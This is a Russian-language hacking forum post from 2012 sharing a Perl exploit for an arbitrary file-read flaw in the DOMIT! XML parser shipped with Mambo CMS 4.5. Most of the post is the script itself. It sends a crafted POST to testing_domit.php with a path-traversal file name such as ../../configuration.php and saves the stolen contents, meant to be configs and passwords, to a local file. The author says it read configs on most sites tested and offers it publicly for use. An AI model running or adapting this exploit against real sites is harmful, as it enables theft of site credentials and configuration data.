Старый 19.06.2012, 20:47   #1
Specialist
 
Регистрация: 13.06.2012
Сообщений: 25
Репутация: 20
По умолчанию Эксплоит для php DomitXML (есть в Mambo)

Решил выложить эксплоит для собственноручно найденной баги в Mambo CMS 4.5, точнее в
её XML парсере. Дыра связана с возможностью чтения файлов,
причём прочитать можно не все файлы. В результате тестов конфиги мамбы на большинстве сайтов
были успешно прочитаны.
Дыра старая (нашёл 4-5 лет назад), закрыта или нет не знаю.
Сплойт выкладываю в паблик в связи с утратой интереса к вебхаку.

Код:
#!usr/bin/perl -w
#Domit Read File Exploit
#What's Domit? Quote "DOMIT! is a non-validating, but lightweight and fast XML parser for PHP"
#Such project as MamboCMS include Domit!
#This code gives an ability to read some files(not all, because of specificity of this XML 
#parser) 
#If u'll have enough luck, you will read important configs, passwords, etc.
#Tested on Mambo 4.5, i read configuration.php
#Example: domit.pl hostwithmambo.net ../../configuration.php 

#Coded by localghost
#Contactz: #icq - 914926
#Gz 2 Solid Snake, bot, STORM, pop_korn

#p.s. it's my old stuff, so i decided to make it public, 
#but you need to locate a little bug :)

use strict;
use IO::Socket;

my $f;
my $sock;
my $len;
my $ans;
my $fl;
my $l;
my $path;
my $resp="";

print(" Domit XML Parser exploit by localghost\n");
$path="/includes/domit/testing_domit.php"; #path 2 domit in Mambo CMS
$len=95;
$fl=$ARGV[1]; 
             
if(@ARGV<2) { printf " Usage: $0 <host> <file 2 read> \n Example: domit.pl host.ru ../../configuration.php\n"; exit(); } 
$sock = IO::Socket::INET->new(PeerAddr => "$ARGV[0]",
                                PeerPort => "80",
                                Proto    => "tcp",
                                Type     => SOCK_STREAM)
  or die "[-] Couldn't connect\n";

$l=length $fl;
$len+=$l;
printf $sock "POST $path HTTP/1.1\nHost: $ARGV[0]\nUser-Agent: Mozilla/5.0\nAccept: */*\nConnection: Close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: $len\n\ndomparser=domit&saxparser=expat&xmloutput=tostring&xmlfile=$fl&xmltext=&xmlaction=parsefile&xmlurl=\n";
while($ans=<$sock>) {$resp=$resp.$ans; }

$resp=~/^(.*?)<html>(.*?)<body>(.*?)seconds<br \/><br \/>(.*?)<p><a(.*?)$/s;
$resp="<html>$2<body>$4<body></html>";
$resp=~s/\&amp\;apos\;/\'/sg;
print "[+] The result was put into result_dom.html\n";
open $f, ">result_dom.html";
print $f $resp;
close $f;
close $sock;
Specialist вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot